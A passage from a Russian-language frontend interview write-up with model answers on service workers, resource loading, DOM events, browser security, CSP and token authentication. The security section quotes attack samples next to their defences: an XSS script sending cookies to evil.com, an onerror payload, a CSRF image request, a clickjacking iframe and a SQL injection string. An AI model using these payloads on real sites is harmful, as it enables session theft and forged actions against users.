for (const message of messages) {
await fetch('/api/messages', {
method: 'POST',
body: JSON.stringify(message)
});
}
}

Полный пример Service Worker

// sw.js
const CACHE_NAME = 'app-v1';
const OFFLINE_URL = '/offline.html';

const urlsToCache = [
'/',
OFFLINE_URL,
'/styles/main.css',
'/scripts/app.js',
'/images/logo.png'
];

// Установка
self.addEventListener('install', (event) => {
event.waitUntil(
caches.open(CACHE_NAME)
.then((cache) => cache.addAll(urlsToCache))
.then(() => self.skipWaiting())
);
});

// Активация
self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys()
.then((names) => Promise.all(
names.filter((name) => name !== CACHE_NAME)
.map((name) => caches.delete(name))
))
.then(() => self.clients.claim())
);
});

// Перехват запросов
self.addEventListener('fetch', (event) => {
if (event.request.method !== 'GET') return;

const url = new URL(event.request.url);

// Для API-запросов — Network First
if (url.pathname.startsWith('/api/')) {
event.respondWith(networkFirst(event.request));
return;
}

// Для статических ресурсов — Cache First
if (/\.(js|css|png|jpg|woff2)$/.test(url.pathname)) {
event.respondWith(cacheFirst(event.request));
return;
}

// Для остальных — Stale While Revalidate
event.respondWith(staleWhileRevalidate(event.request));
});

async function cacheFirst(request) {
const cached = await caches.match(request);
if (cached) return cached;

try {
const response = await fetch(request);
const cache = await caches.open(CACHE_NAME);
cache.put(request, response.clone());
return response;
} catch (error) {
if (request.headers.get('accept').includes('text/html')) {
return caches.match(OFFLINE_URL);
}
}
}

async function networkFirst(request) {
try {
const response = await fetch(request);
const cache = await caches.open(CACHE_NAME);
cache.put(request, response.clone());
return response;
} catch (error) {
const cached = await caches.match(request);
return cached || new Response(JSON.stringify({ error: 'Offline' }), {
headers: { 'Content-Type': 'application/json' }
});
}
}

async function staleWhileRevalidate(request) {
const cache = await caches.open(CACHE_NAME);
const cached = await cache.match(request);

const fetchPromise = fetch(request).then((response) => {
cache.put(request, response.clone());
return response;
}).catch(() => cached);

return cached || fetchPromise;
}

Использование Service Worker

Service Worker — ключевой компонент Progressive Web Apps (PWA). Он обеспечивает офлайн-работу, быструю загрузку через кэширование, push-уведомления и фоновую синхронизацию. Это мощный инструмент, но требует тщательного управления жизненным циклом и стратегиями кэширования.

Вопрос 19. В каком порядке загружаются ресурсы (скрипты, стили) в браузере и как это контролировать?

Таймкод: 00:37:59

Ответ собеседника: неполный. Кандидат рассказал про порядок загрузки сверху вниз, атрибуты defer и async, но не раскрыл подробно различия между defer и async, preload/prefetch, блокирующий рендеринг CSS и критический CSS.

Правильный ответ:

Порядок загрузки ресурсов в браузере

Браузер парсит HTML документ сверху вниз. При обнаружении ссылок на внешние ресурсы (CSS, JavaScript, изображения, шрифты), он начинает их загрузку в порядке появления в документе. Однако поведение загрузки и выполнения зависит от типа ресурса и используемых атрибутов.

Загрузка CSS

CSS-файлы загружаются в порядке появления в <head> документа. CSS является блокирующим ресурсом для рендеринга — браузер не отображает страницу до загрузки и парсинга всех CSS-файлов. Это сделано для предотвращения FOUC (Flash of Unstyled Content) — мелькания нестилизованного контента.

<head>
<!-- CSS загружается и блокирует рендеринг -->
<link rel="stylesheet" href="reset.css">
<link rel="stylesheet" href="main.css">
<link rel="stylesheet" href="components.css">
</head>

CSS не блокирует парсинг HTML, но блокирует отображение контента. Браузер продолжает парсить DOM, но не рендерит его до завершения загрузки CSSOM.

Загрузка JavaScript

JavaScript по умолчанию является блокирующим ресурсом для парсинга HTML. Когда браузер встречает тег <script>, он останавливает парсинг HTML, загружает и выполняет скрипт, а затем продолжает парсинг.

<!-- Блокирует парсинг HTML -->
<script src="app.js"></script>

Это поведение связано с тем, что JavaScript может изменять DOM и CSSOM через document.write() или другие методы, поэтому браузер должен выполнить скрипт немедленно.

Атрибуты defer и async

Для управления загрузкой и выполнением скриптов используются атрибуты defer и async:

defer:

<script src="app.js" defer></script>
  • Загрузка происходит параллельно с парсингом HTML (не блокирует парсинг).
  • Выполнение откладывается до завершения парсинга HTML (перед DOMContentLoaded).
  • Скрипты с defer выполняются в порядке объявления в документе.
  • Подходят для скриптов, которым нужен полный DOM и которые зависят друг от друга.

async:

<script src="analytics.js" async></script>
  • Загрузка происходит параллельно с парсингом HTML (не блокирует парсинг).
  • Выполнение происходит сразу после загрузки, прерывая парсинг HTML.
  • Скрипты с async выполняются в порядке загрузки (кто первый загрузится, тот первый выполнится).
  • Подходят для независимых скриптов (аналитика, реклама).

Сравнительная таблица

Характеристика<script><script defer><script async>
Блокирует парсинг HTMLДаНетНет (только при выполнении)
Порядок выполненияПо объявлениюПо объявлениюПо загрузке
Когда выполняетсяСразу после загрузкиПосле парсинга HTMLСразу после загрузки
Зависит от DOMContentLoadedНетДаНет
Зависимости между скриптамиСохраняютсяСохраняютсяНе гарантируются

Визуализация порядка загрузки

<!-- Обычный скрипт -->
Parse HTML → Stop → Load JS → Execute JS → Continue Parse HTML

<!-- defer -->
Parse HTML + Load JS (parallel) → Finish Parse → Execute JS

<!-- async -->
Parse HTML + Load JS (parallel) → Load Complete → Stop Parse → Execute JS → Continue Parse

Загрузка стилей

CSS по умолчанию блокирует рендеринг, но не блокирует парсинг HTML. Для управления загрузкой CSS можно использовать:

Атрибут media:

<!-- Загружается всегда, но блокирует только при совпадении media -->
<link rel="stylesheet" href="print.css" media="print">
<link rel="stylesheet" href="mobile.css" media="(max-width: 768px)">
<link rel="stylesheet" href="desktop.css" media="(min-width: 769px)">

Стили с media, не совпадающим с текущими условиями, загружаются, но не блокируют рендеринг.

Динамическая загрузка CSS:

// Загрузка CSS после загрузки страницы
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = 'non-critical.css';
document.head.appendChild(link);

Resource Hints (preload, prefetch)

preload — указывает браузеру загрузить ресурс заранее с высоким приоритетом:

<!-- Предзагрузка критических ресурсов -->
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="/scripts/critical.js" as="script">
<link rel="preload" href="/styles/critical.css" as="style">
<link rel="preload" href="/api/data.json" as="fetch" crossorigin>

Атрибут as обязателен для правильной приоритизации и применения Content Security Policy.

prefetch — указывает браузеру загрузить ресурс с низким приоритетом для будущей навигации:

<!-- Предзагрузка ресурсов для следующей страницы -->
<link rel="prefetch" href="/next-page.html">
<link rel="prefetch" href="/scripts/next-page.js">

preconnect — раннее установление соединения с другим доменом:

<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

dns-prefetch — ранний DNS-резолвинг:

<link rel="dns-prefetch" href="https://api.example.com">

Критический CSS (Critical CSS)

Критический CSS — стили, необходимые для отображения видимой части страницы (above-the-fold). Они встраиваются прямо в HTML, а остальные стили загружаются асинхронно:

<head>
<!-- Критический CSS inline -->
<style>
.header { ... }
.hero { ... }
.navigation { ... }
</style>

<!-- Полный CSS загружается асинхронно -->
<link rel="preload" href="styles.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
<noscript>
<link rel="stylesheet" href="styles.css">
</noscript>
</head>

Оптимизированная структура HTML

<!DOCTYPE html>
<html>
<head>
<!-- 1. Meta и viewport -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<!-- 2. Preconnect к важным доменам -->
<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

<!-- 3. Preload критических ресурсов -->
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="/scripts/app.js" as="script">

<!-- 4. Критический CSS inline -->
<style>
/* Стили для above-the-fold контента */
body { margin: 0; font-family: 'MainFont', sans-serif; }
.header { ... }
.hero { ... }
</style>

<!-- 5. Основные CSS (блокируют рендеринг) -->
<link rel="stylesheet" href="main.css">

<!-- 6. Некритический CSS (асинхронно) -->
<link rel="preload" href="non-critical.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">

<!-- 7. Prefetch для будущих страниц -->
<link rel="prefetch" href="/about.html">
</head>
<body>
<!-- Контент страницы -->

<!-- 8. Скрипты с defer (не блокируют парсинг) -->
<script src="app.js" defer></script>

<!-- 9. Асинхронные скрипты (независимые) -->
<script src="analytics.js" async></script>
</body>
</html>

Приоритизация ресурсов в браузере

Браузеры автоматически расставляют приоритеты для ресурсов:

ПриоритетРесурсы
HighestCSS (в <head>), шрифты (preload)
HighИзображения в viewport, скрипты (preload)
MediumCSS (в <body>), скрипты (defer/async)
LowИзображения вне viewport, видео
Lowestprefetch ресурсы

Начиная с Chrome 105+, можно использовать атрибут fetchpriority для явного указания приоритета:

<img src="hero.jpg" fetchpriority="high" alt="Hero">
<script src="critical.js" fetchpriority="high"></script>
<script src="analytics.js" fetchpriority="low" async></script>
<link rel="stylesheet" href="non-critical.css" fetchpriority="low">

Рекомендации

  • CSS размещать в <head>.
  • Критический CSS инлайнить прямо в HTML.
  • Основные скрипты загружать с defer перед закрывающим </body>.
  • Независимые скрипты (аналитика) загружать с async.
  • Использовать preload для критических ресурсов.
  • Использовать prefetch для ресурсов будущих страниц.
  • Размещать preconnect для важных доменов в начале <head>.

Вопрос 20. Как работают события в браузере? Опишите фазы событий.

Таймкод: 00:40:13

Ответ собеседника: неполный. Кандидат рассказал про три фазы событий, но не упомял методы addEventListener с опцией capture, stopPropagation, preventDefault и делегирование событий.

Правильный ответ:

Что такое события в браузере

События — это сигналы, которые браузер генерирует в ответ на действия пользователя или изменения состояния страницы. События позволяют JavaScript реагировать на клики, нажатия клавиш, загрузку ресурсов, изменения DOM и другие действия.

Основные категории событий:

  • Mouse events: click, dblclick, mousedown, mouseup, mousemove, mouseenter, mouseleave, mouseover, mouseout, contextmenu.
  • Keyboard events: keydown, keypress, keyup.
  • Form events: submit, change, input, focus, blur.
  • Document/Window events: DOMContentLoaded, load, unload, resize, scroll.
  • Touch events: touchstart, touchend, touchmove.
  • Drag events: dragstart, drag, dragend, drop.

Три фазы распространения событий

Когда событие происходит на элементе, оно проходит через три фазы:

1. Фаза погружения (Capture Phase)

Событие распространяется сверху вниз от windowdocument<html><body> → ... → целевой элемент. На этой фазе вызываются обработчики, зарегистрированные с опцией capture: true.

window → document → html → body → div.container → div.parent → button (target)

2. Фаза цели (Target Phase)

Событие достигает целевого элемента, на котором произошло действие. Вызываются все обработчики на целевом элементе, независимо от способа регистрации.

3. Фаза всплытия (Bubble Phase)

Событие распространяется снизу вверх от целевого элемента → родитель → ... → documentwindow. На этой фазе вызываются обработчики, зарегистрированные с опцией capture: false (по умолчанию).

button (target) → div.parent → div.container → body → html → document → window

Визуализация:

CAPTURE PHASE (сверху вниз)
window

document

<html>

<body>

div.container

div.parent

button ← TARGET PHASE

div.parent

div.container

<body>

<html>

document

window
BUBBLE PHASE (снизу вверх)

addEventListener и опция capture

Метод addEventListener позволяет указать, на какой фазе должен сработать обработчик:

// Обработчик на фазе всплытия (по умолчанию)
element.addEventListener('click', handler);
element.addEventListener('click', handler, false);

// Обработчик на фазе погружения
element.addEventListener('click', handler, true);

// С использованием объекта опций
element.addEventListener('click', handler, {
capture: true, // Фаза погружения
once: true, // Выполнить только один раз
passive: true // Обработчик не вызовет preventDefault()
});

Пример демонстрации фаз:

<div id="parent">
<button id="child">Click me</button>
</div>
const parent = document.getElementById('parent');
const child = document.getElementById('child');

// Фаза погружения
document.addEventListener('click', () => console.log('document capture'), true);
parent.addEventListener('click', () => console.log('parent capture'), true);

// Фаза всплытия
parent.addEventListener('click', () => console.log('parent bubble'));
child.addEventListener('click', () => console.log('child bubble'));
document.addEventListener('click', () => console.log('document bubble'));

// При клике на button:
// parent capture
// child bubble
// parent bubble
// document bubble

stopPropagation и stopImmediatePropagation

stopPropagation() — прекращает дальнейшее распространение события на текущей фазе:

child.addEventListener('click', (event) => {
event.stopPropagation();
console.log('child clicked');
});

parent.addEventListener('click', () => {
console.log('parent clicked'); // Не выполнится
});

stopImmediatePropagation() — прекращает распространение и предотвращает вызов остальных обработчиков на том же элементе:

element.addEventListener('click', (event) => {
event.stopImmediatePropagation();
console.log('first handler');
});

element.addEventListener('click', () => {
console.log('second handler'); // Не выполнится
});

preventDefault()

Отменяет действие по умолчанию для события. Не влияет на распространение события:

// Отмена перехода по ссылке
link.addEventListener('click', (event) => {
event.preventDefault();
// Ссылка не откроется
});

// Отмена отправки формы
form.addEventListener('submit', (event) => {
event.preventDefault();
// Форма не отправится
});

// Отмена контекстного меню
document.addEventListener('contextmenu', (event) => {
event.preventDefault();
});

Делегирование событий

Делегирование — это паттерн, при котором обработчик события устанавливается на родительский элемент вместо каждого дочернего. Благодаря фазе всплытия событие от дочернего элемента достигает родителя, где и обрабатывается.

Преимущества:

  • Экономия памяти: один обработчик вместо многих.
  • Работа с динамическими элементами: не нужно добавлять обработчики при добавлении новых элементов.
  • Упрощение кода.
<ul id="todo-list">
<li data-id="1">Task 1 <button class="delete">Delete</button></li>
<li data-id="2">Task 2 <button class="delete">Delete</button></li>
<li data-id="3">Task 3 <button class="delete">Delete</button></li>
</ul>
// Без делегирования — обработчик на каждой кнопке
document.querySelectorAll('.delete').forEach((button) => {
button.addEventListener('click', handleDelete);
});

// С делегированием — один обработчик на родителе
document.getElementById('todo-list').addEventListener('click', (event) => {
if (event.target.classList.contains('delete')) {
const li = event.target.closest('li');
const id = li.dataset.id;
handleDelete(id);
}
});

// Добавление нового элемента — обработчик уже работает
const newLi = document.createElement('li');
newLi.dataset.id = '4';
newLi.innerHTML = 'Task 4 <button class="delete">Delete</button>';
document.getElementById('todo-list').appendChild(newLi);

Важные свойства объекта события:

  • event.target — элемент, на котором произошло событие (целевой элемент).
  • event.currentTarget — элемент, на котором находится текущий обработчик.
  • event.eventPhase — текущая фаза (1 — capture, 2 — target, 3 — bubble).
  • event.type — тип события (click, keydown и т.д.).
  • event.bubbles — всплывает ли событие.
  • event.cancelable — можно ли отменить действие по умолчанию.

События, которые не всплывают

Некоторые события не всплывают и не имеют фазы bubble:

  • focus и blur (но есть focusin и focusout, которые всплывают).
  • mouseenter и mouseleave (но есть mouseover и mouseout).
  • load, unload, error на элементах.
  • scroll.
  • loadstart, progress, loadend для XMLHttpRequest.

Пассивные обработчики (passive)

Для событий touchstart, touchmove, wheel и mousewheel можно указать passive: true, чтобы сообщить браузеру, что обработчик не вызовет preventDefault(). Это позволяет браузеру оптимизировать производительность прокрутки:

element.addEventListener('touchstart', handler, { passive: true });

Создание и диспетчеризация событий

Можно создавать собственные события и программно их генерировать:

// Создание события
const event = new CustomEvent('myEvent', {
detail: { message: 'Hello' },
bubbles: true,
cancelable: true
});

// Отправка события
element.dispatchEvent(event);

// Обработка события
element.addEventListener('myEvent', (event) => {
console.log(event.detail.message); // "Hello"
});

Итог

Понимание фаз событий критически важно для эффективной работы с событиями в браузере. Делегирование событий — мощный паттерн, который упрощает код и улучшает производительность. Методы stopPropagation, stopImmediatePropagation и preventDefault позволяют контролировать поведение событий.

Вопрос 21. Какие основные уязвимости безопасности существуют в браузере и как от них защититься?

Таймкод: 00:43:09

Ответ собеседника: неполный. Кандидат рассказал про XSS и кросс-доменные запросы, но не упомял Content Security Policy, SameSite для cookies, HTTPS, защиту от CSRF и санитизацию пользовательского ввода.

Правильный ответ:

1. XSS (Cross-Site Scripting)

XSS — инъекция вредоносного JavaScript-кода в страницу, которая затем выполняется в браузере других пользователей.

Типы XSS:

Stored XSS (хранимый) — вредоносный код сохраняется на сервере (в базе данных, комментариях, профилях) и отдаётся всем пользователям.

<!-- Пользователь вводит в комментарий: -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

<!-- Этот код сохраняется в БД и выполняется у каждого посетителя -->

Reflected XSS (отражённый) — вредоносный код передаётся через URL или параметры запроса и сразу отображается в ответе сервера.

https://example.com/search?q=<script>alert('XSS')</script>

DOM-based XSS — уязвимость возникает в клиентском JavaScript-коде, который небезопасно манипулирует DOM.

// Уязвимый код
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Атака: ?name=<img src=x onerror=alert('XSS')>

Защита от XSS:

Санитизация и экранирование пользовательского ввода:

// Экранирование HTML-сущностей
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}

// Использование
element.innerHTML = escapeHtml(userInput);

Content Security Policy (CSP) — HTTP-заголовок, ограничивающий источники скриптов, стилей и других ресурсов:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';

CSP предотвращает выполнение инлайн-скриптов и скриптов с внешних источников.

HttpOnly и Secure флаги для cookies:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

HttpOnly делает cookie недоступными из JavaScript (document.cookie), что предотвращает кражу сессии через XSS.

Использование безопасных API:

// Небезопасно
element.innerHTML = userInput;

// Безопасно
element.textContent = userInput;

// Безопасно — использование DOM API
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);

2. CSRF (Cross-Site Request Forgery)

CSRF — атака, при которой злоумышленник заставляет браузер авторизованного пользователя выполнить нежелательное действие на сайте, где пользователь аутентифицирован.

<!-- На сайте злоумышленника -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

Когда пользователь загружает эту страницу, браузер автоматически отправляет запрос с его cookies.

Защита от CSRF:

CSRF-токены:

<!-- В форме -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="random-token-123">
<input type="text" name="amount">
<button type="submit">Перевести</button>
</form>
// На сервере — проверка токена
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('Invalid CSRF token');
}
// Обработка запроса
});

SameSite атрибут cookies:

Set-Cookie: session_id=abc123; SameSite=Strict; Secure; SameSite=Lax
  • Strict — cookie не отправляется при кросс-доменных запросах вообще.
  • Lax — cookie отправляется только при навигации верхнего уровня (переход по ссылке), но не при загрузке ресурсов с других сайтов.
  • None — cookie отправляется всегда (требует Secure).

Проверка заголовков Origin и Referer:

app.use((req, res, next) => {
const origin = req.get('Origin') || req.get('Referer');
if (origin && !origin.startsWith('https://example.com')) {
return res.status(403).send('Forbidden');
}
next();
});

3. Clickjacking (UI Redressing)

Атака, при которой злоумышленник размещает прозрачный iframe с целевым сайтом поверх своей страницы и заставляет пользователя кликнуть по невидимым элементам.

<!-- Сайт злоумышленника -->
<style>
iframe {
opacity: 0;
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1000;
}
</style>
<button>Выиграй приз!</button>
<iframe src="https://bank.com/transfer"></iframe>

Защита от Clickjacking:

X-Frame-Options:

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted.com

Content Security Policy:

Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors 'none';

4. Man-in-the-Middle (MITM) атака

Перехват и модификация данных при передаче между клиентом и сервером.

Защита:

HTTPS (TLS):

  • Шифрование всех данных при передаче.
  • Аутентификация сервера через сертификат.
  • Защита от подмены данных.

HSTS (HTTP Strict Transport Security):

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Браузер будет использовать только HTTPS для данного домена в течение указанного времени.

Certificate Pinning:

Привязка ожидаемого сертификата к приложению (используется в мобильных приложениях).

5. Open Redirect

Уязвимость, позволяющая перенаправить пользователя на произвольный URL через уязвимый параметр:

https://example.com/redirect?url=https://evil.com

Защита:

// Проверка допустимых URL
function safeRedirect(url) {
const allowedDomains = ['example.com', 'www.example.com'];
const parsed = new URL(url, window.location.origin);

if (allowedDomains.includes(parsed.hostname)) {
window.location.href = url;
}
}

6. SQL Injection (на стороне клиента — через API)

Хотя SQL-инъекция — уязвимость сервера, клиент может передать вредоносные данные:

// Пользователь вводит в поле поиска: ' OR 1=1 --
// Если сервер не параметризует запросы, это может привести к SQL-инъекции

Защита на клиенте:

  • Валидация ввода перед отправкой.
  • Ограничение допустимых символов.

Защита на сервере:

-- Плохо
SELECT * FROM users WHERE name = '$input';

-- Хорошо — параметризованный запрос
SELECT * FROM users WHERE name = ?;

7. Утечка чувствительных данных

Хранение токенов в localStorage:

// Небезопасно — доступен из любого JavaScript
localStorage.setItem('token', token);

// Безопаснее — HttpOnly cookie (недоступен из JS)
// Устанавливается сервером через Set-Cookie

Логирование чувствительных данных:

// Небезопасно
console.log('User token:', token);

// Безопасно — не логировать чувствительные данные
console.log('User authenticated');

8. Зависимости и сторонний код

Supply chain атаки — компрометация npm-пакетов или CDN.

Защита:

  • Использование lock-файлов (package-lock.json, yarn.lock).
  • Аудит зависимостей (npm audit, yarn audit).
  • SRI (Subresource Integrity) для внешних скриптов:
<script src="https://cdn.example.com/lib.js"
integrity="sha384-abc123..."
crossorigin="anonymous"></script>

Сводная таблица уязвимостей и защиты

УязвимостьОписаниеЗащита
XSSИнъекция скриптовСанитизация, CSP, HttpOnly
CSRFПодделка запросовCSRF-токены, SameSite
ClickjackingПерехват кликовX-Frame-Options, CSP
MITMПерехват данныхHTTPS, HSTS
Open RedirectПеренаправлениеВалидация URL
SQL InjectionИнъекция SQLПараметризованные запросы
Утечка данныхКомпрометация токеновHttpOnly cookies, валидация
Supply chainКомпрометация зависимостейLock-файлы, аудит, SRI

Рекомендации

  • Всегда использовать HTTPS.
  • Настраивать CSP для ограничения источников ресурсов.
  • Использовать HttpOnly, Secure, SameSite для cookies.
  • Валидировать и санитизировать весь пользовательский ввод.
  • Использовать CSRF-токены для форм и мутирующих запросов.
  • Регулярно обновлять зависимости и проводить аудит безопасности.
  • Не хранить чувствительные данные в localStorage.
  • Использовать X-Content-Type-Options: nosniff для предотвращения MIME-sniffing.

Вопрос 22. Что такое Content Security Policy (CSP) и как он защищает от XSS?

Таймкод: 00:45:00

Ответ собеседника: неполный. Кандидат вспомнил CSP после подсказки и рассказал про ограничение источников скриптов, но не упомял директивы CSP, режим report-only, nonce и hash для inline-скриптов.

Правильный ответ:

Что такое CSP

Content Security Policy (CSP) — это механизм безопасности, реализуемый через HTTP-заголовок (или meta-тег), который позволяет разработчику указать браузеру, какие источники ресурсов разрешены для загрузки и выполнения на странице. CSP является одной из наиболее эффективных защит от XSS-атак.

Как CSP защищает от XSS

Основной принцип CSP — запрет выполнения вредоносного кода, даже если злоумышленнику удалось внедрить его на страуз. CSP блокирует:

  • Выполнение инлайн-скриптов (<script>...</script>).
  • Выполнение инлайн-обработчиков событий (onclick="...", onerror="...").
  • Выполнение eval() и аналогичных функций.
  • Загрузку скриптов с неавторизованных доменов.
  • Загрузку стилей с неавторизованных источников.

Директивы CSP

default-src — политика по умолчанию для всех типов ресурсов:

Content-Security-Policy: default-src 'self'

script-src — источники для JavaScript:

Content-Security-Policy: script-src 'self' https://cdn.example.com

style-src — источники для CSS:

Content-Security-Policy: style-src 'self' 'unsafe-inline'

img-src — источники для изображений:

Content-Security-Policy: img-src 'self' data: https:

connect-src — источники для сетевых запросов (fetch, WebSocket, XMLHttpRequest):

Content-Security-Policy: connect-src 'self' https://api.example.com

font-src — источники для шрифтов:

Content-Security-Policy: font-src 'self' https://fonts.gstatic.com

frame-src — источники для iframe:

Content-Security-Policy: frame-src 'none'

frame-ancestors — кто может встраивать страницу в iframe (защита от clickjacking):

Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors 'none'

base-uri — разрешённые значения для <base> тега:

Content-Security-Policy: base-uri 'self'

form-action — разрешённые URL для отправки форм:

Content-Security-Policy: form-action 'self'

object-src — источники для <object>, <embed>, <applet>:

Content-Security-Policy: object-src 'none'

Ключевые слова (keywords)

  • 'self' — ресурсы с того же origin (протокол + домен + порт).
  • 'none' — запрет всех источников.
  • 'unsafe-inline' — разрешение инлайн-кода (скриптов, стилей, обработчиков).
  • 'unsafe-eval' — разрешение eval() и аналогичных функций.
  • 'nonce-<base64>' — разрешение конкретного инлайн-скрипта с соответствующим nonce.
  • 'sha256-<base64>' — разрешение инлайн-скрипта с соответствующим хешем.
  • 'strict-dynamic' — доверие скриптам, загруженным доверенным скриптом.
  • https: — любой HTTPS-источник.
  • data: — data URI.

Nonce для inline-скриптов

Nonce (number used once) — случайное значение, генерируемое на сервере для каждого запроса. Позволяет разрешить конкретный инлайн-скрипт:

// Сервер (Go) — генерация nonce
import (
"crypto/rand"
"encoding/base64"
"net/http"
)

func generateNonce() string {
b := make([]byte, 16)
rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}

func handler(w http.ResponseWriter, r *http.Request) {
nonce := generateNonce()

// Устанавливаем CSP с nonce
w.Header().Set("Content-Security-Policy",
fmt.Sprintf("script-src 'nonce-%s'", nonce))

// Передаём nonce в шаблон
tmpl.Execute(w, map[string]string{"Nonce": nonce})
}
<!-- HTML — использование nonce -->
<script nonce="{{.Nonce}}">
// Этот скрипт будет выполнен
console.log('Trusted script');
</script>

<script>
// Этот скрипт будет заблокирован
console.log('Blocked script');
</script>

Hash для inline-скриптов

Вместо nonce можно использовать хеш содержимого скрипта:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

Хеш вычисляется от содержимого скрипта:

// Содержимое скрипта
console.log('Hello');

// SHA-256 хеш: B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=

Режим report-only

CSP можно настроить в режиме только отчётов, чтобы тестировать политику без блокировки:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Браузер будет отправлять отчёты о нарушениях на указанный URL, но не блокировать ресурсы.

Формат отчёта CSP:

{
"csp-report": {
"document-uri": "https://example.com/page",
"referrer": "",
"violated-directive": "script-src",
"effective-directive": "script-src",
"original-policy": "script-src 'self'",
"blocked-uri": "https://evil.com/script.js",
"status-code": 200
}
}

Настройка на сервере

Nginx:

add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-$request_id';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
report-uri /csp-report;
" always;

Node.js (Express):

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
objectSrc: ["'none'"],
reportUri: "/csp-report"
}
}));

Meta-тег (ограниченная поддержка):

<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">

Ограничения meta-тега: не поддерживает frame-ancestors, report-uri, sandbox.

Примеры политик

Минимальная политика:

Content-Security-Policy: default-src 'self'

Средняя политика:

Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;

Строгая политика с nonce:

Content-Security-Policy:
default-src 'none';
script-src 'nonce-abc123';
style-src 'nonce-abc123';
img-src 'self';
connect-src 'self';
font-src 'self';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';

strict-dynamic для современных приложений:

Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic' https:;
object-src 'none';
base-uri 'none';

'strict-dynamic' указывает браузеру доверять скриптам, которые загружаются доверенным скриптом (с правильным nonce). Это удобно для приложений с динамической загрузкой скриптов.

Ограничения CSP

  • CSP защищает только от определённых типов XSS (не от всех).
  • Неправильная настройка может сломать функциональность.
  • 'unsafe-inline' и 'unsafe-eval' ослабляют защиту.
  • Не все браузеры поддерживают все директивы одинаково.
  • CSP не заменяет санитизацию ввода — это дополнительный уровень защиты.

Рекомендации

  • Начинать с Content-Security-Policy-Report-Only для тестирования.
  • Использовать nonce вместо 'unsafe-inline'.
  • Минимизировать использование 'unsafe-eval'.
  • Устанавливать object-src 'none' и base-uri 'none' по умолчанию.
  • Использовать frame-ancestors 'none' для защиты от clickjacking.
  • Мониторить отчёты CSP для обнаружения атак и ошибок конфигурации.

Вопрос 23. Как работает авторизация с токенами (Access Token и Refresh Token)?

Таймкод: 00:48:00

Ответ собеседния: неполный. Кандидат рассказал про два типа токенов, но не упомял хранение токенов, защиту от CSRF и ротацию токенов.

Правильный ответ:

Концепция двух токенов

Схема Access Token + Refresh Token — стандартный подход к аутентификации в современных веб-приложениях и API. Идея в разделении токена доступа (краткосрочный) и токена обновления (долгосрочный).

Access Token — короткоживущий токен (обычно 5-15 минут), который используется для доступа к защищённым ресурсам. Содержит информацию о пользователе и его правах (обычно JWT).

Refresh Token — долгоживущий токен (обычно дни или недели), который используется только для получения нового Access Token. Хранится более безопасно и не отправляется с каждым запросом.

Схема работы

1. Пользователь вводит логин/пароль
2. Сервер возвращает Access Token + Refresh Token

3. Клиент использует Access Token для API-запросов
Authorization: Bearer <access_token>

4. Access Token истекает (401 Unauthorized)

5. Клиент отправляет Refresh Token на /auth/refresh
POST /auth/refresh { refresh_token: "..." }

6. Сервер проверяет Refresh Token и возвращает новую пару
{ access_token: "new...", refresh_token: "new..." }

7. Клиент повторяет исходный запрос с новым Access Token

Пример реализации на клиенте:

class AuthService {
constructor() {
this.accessToken = null;
this.refreshToken = null;
this.refreshPromise = null;
}

// Авторизация
async login(email, password) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
credentials: 'include' // Для cookies
});

const data = await response.json();
this.accessToken = data.accessToken;
this.refreshToken = data.refreshToken;

// Сохранение в httpOnly cookie предпочтительнее
// Если используется localStorage:
